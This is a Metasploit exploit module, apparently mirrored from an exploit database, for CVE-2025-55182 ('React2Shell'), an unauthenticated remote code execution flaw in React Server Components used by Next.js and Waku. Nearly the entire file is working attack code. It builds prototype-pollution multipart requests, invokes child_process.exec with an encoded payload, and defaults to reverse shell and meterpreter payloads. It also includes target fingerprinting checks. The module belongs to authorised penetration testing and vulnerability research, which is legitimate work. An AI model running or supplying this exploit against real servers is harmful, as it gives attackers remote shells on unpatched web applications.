Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-MULTI-HTTP-REACT2SHELL_UNAUTH_RCE_CVE_2025_55182-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  FRAMEWORKS = {
    'nextjs' => {
      module_access: "process.mainModule.require('child_process')",
      endpoint_method: :nextjs_endpoint,
      headers: { 'Next-Action' => '' },
      check_method: :check_nextjs,
      ref_idx_range: -> { (0..9).to_a },
      form_ref_value: ->(ref_idx) { "\"$@#{ref_idx}\"" }
    },
    'waku' => {
      module_access: "process.getBuiltinModule('child_process')",
      endpoint_method: :waku_endpoint,
      headers: { 'X-Waku-Router-Skip' => '["page:/","layout:/","root","route:/"]' },
      check_method: :check_waku,
      ref_idx_range: -> { [1] },
      form_ref_value: ->(_ref_idx) { '"$@0"' }
    }
  }.freeze

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Unauthenticated RCE in React Server Components (React2Shell)',
        'Description' => %q{
          A critical unauthenticated Remote Code Execution (RCE) vulnerability exists in React Server
          Components (RSC) Flight protocol. The vulnerability allows attackers to achieve prototype
          pollution during deserialization of RSC payloads by sending specially crafted multipart
          requests with "__proto__", "constructor", or "prototype" as module names.

          This module supports multiple vulnerable frameworks including Next.js and Waku.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Maksim Rogov',                                # Metasploit Module (Next.js)
          'Valentin Lobstein <chocapikk[at]leakix.net>', # Metasploit Module (Waku)
          'Lachlan Davidson',                            # Vulnerability Discovery
          'maple3142'                                    # Public Exploit
        ],
        'References' => [
          ['CVE', '2025-55182'],
          ['EDB', '52506'],
          ['CVE', '2025-66478'],
          ['URL', 'https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components'],
          ['URL', 'https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3'],
          ['URL', 'https://www.vulncheck.com/blog/react2shell-beyond-nextjs']
        ],
        'Arch' => [ARCH_CMD],
        'Targets' => [
          [
            'Next.js - Unix Command',
            {
              'Framework' => 'nextjs',
              'Platform' => %w[unix linux],
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_nodejs',
                'FETCH_WRITABLE_DIR' => '/tmp'
              }
              # Tested with cmd/unix/reverse_nodejs
              # Tested with cmd/unix/reverse_bash
              # Tested with cmd/linux/http/x64/meterpreter/reverse_tcp
            }
          ],
          [
            'Next.js - Windows Command',
            {
              'Framework' => 'nextjs',
              'Platform' => %w[windows]
              # Tested with cmd/windows/http/x64/meterpreter/reverse_tcp
            }
          ],
          [
            'Waku - Unix Command',
            {
              'Framework' => 'waku',
              'Platform' => %w[unix linux],
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_nodejs',
                'FETCH_WRITABLE_DIR' => '/tmp'
              }
              # Tested with cmd/unix/reverse_nodejs
              # Tested with cmd/unix/generic
              # Tested with cmd/unix/reverse_bash
              # Tested with cmd/linux/http/x64/meterpreter/reverse_tcp
            }
          ],
          [
            'Waku - Windows Command',
            {
              'Framework' => 'waku',
              'Platform' => %w[windows]
              # Tested with cmd/windows/http/x64/meterpreter/reverse_tcp
            }
          ],
        ],
        'Payload' => {
          'BadChars' => '"',
          'Space' => 131068,
          'DisableNops' => true,
          'Encoder' => 'cmd/base64'
        },
        'DefaultTarget' => 0,
        'DisclosureDate' => '2025-12-03',
        'Notes' => {
          'AKA' => ['React2Shell'],
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'Path to the React App', '/']),
      ]
    )
  end

  # Framework configuration helpers
  def framework_config
    FRAMEWORKS[target['Framework'] || 'nextjs']
  end

  # Variant generation helpers
  def get_function_variant
    base_methods = %w[
      constructor __defineGetter__ __defineSetter__ hasOwnProperty
      __lookupGetter__ __lookupSetter__ isPrototypeOf propertyIsEnumerable
      toString valueOf toLocaleString
    ]
    base_methods.flat_map { |method| ["#{method}:constructor", "#{method}:__proto__:constructor"] }.sample
  end

  def get_random_value
    random_string = Rex::Text.rand_text_alphanumeric(6..14).upcase
    ['""', '{}', '[]', 'null', 'true', 'false', "\"#{random_string}\""].sample
  end

  # Check methods
  def check
    send(framework_config[:check_method])
  end

  def check_nextjs
    random_id = Rex::Text.rand_text_alphanumeric(8..16).upcase
    res = send_payload("throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`NEXT_REDIRECT;push;/#{random_id};307;`});")
    return CheckCode::Unknown("#{peer} - No response from web service") unless res

    return CheckCode::Appears if res.code == 303 && res.headers.to_s.include?("/#{random_id};push")

    CheckCode::Safe("The target #{target_uri} is not vulnerable")
  end

  def check_waku
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path),
      'method' => 'GET'
    )
    return CheckCode::Unknown("#{peer} - No response from web service") unless res

    body = res.body.to_s
    if body.include?('__WAKU_HYDRATE__') || body.include?('<meta name="generator" content="Waku"/>')
      return CheckCode::Detected('Waku framework detected - cannot reliably check exploitability without command execution')
    end

    CheckCode::Unknown('Waku blind RCE - cannot reliably check without command execution')
  end

  # Exploit methods
  def exploit
    config = framework_config
    send_payload("#{config[:module_access]}.exec(\"#{payload.encoded}\",{detached:true,stdio:'ignore'},function(){});")
  end

  # Payload building methods
  def build_malicious_chunk(ref_idx, reason, get_token, node_payload)
    {
      'then' => "$#{ref_idx}:then",
      'status' => 'resolved_model',
      'reason' => reason,
      'value' => { 'then' => '$B' }.to_json,
      '_response' => {
        '_prefix' => node_payload,
        '_formData' => {
          'get' => "$#{ref_idx}:#{get_token}"
        }
      }
    }.to_json
  end

  def build_post_data(node_payload)
    config = framework_config
    ref_idx = config[:ref_idx_range].call.sample
    reason = -(rand(1..9))

    post_data = Rex::MIME::Message.new

    post_data.add_part(
      build_malicious_chunk(ref_idx, reason, get_function_variant, node_payload),
      nil, nil, 'form-data; name="0"'
    )

    (1..rand(ref_idx..9)).each do |i|
      value = (i == ref_idx) ? config[:form_ref_value].call(ref_idx) : get_random_value
      post_data.add_part(value, nil, nil, "form-data; name=\"#{i}\"")
    end

    post_data
  end

  # Endpoint methods
  def nextjs_endpoint
    normalize_uri(target_uri.path)
  end

  def waku_endpoint
    normalize_uri(target_uri.path, 'RSC', 'R', "#{Rex::Text.rand_text_alphanumeric(8)}.txt")
  end

  # HTTP request methods
  def send_payload(node_payload)
    config = framework_config
    post_data = build_post_data(node_payload)
    send_request_cgi(
      'uri' => send(config[:endpoint_method]),
      'method' => 'POST',
      'headers' => config[:headers],
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
      'data' => post_data.to_s
    )
  end
end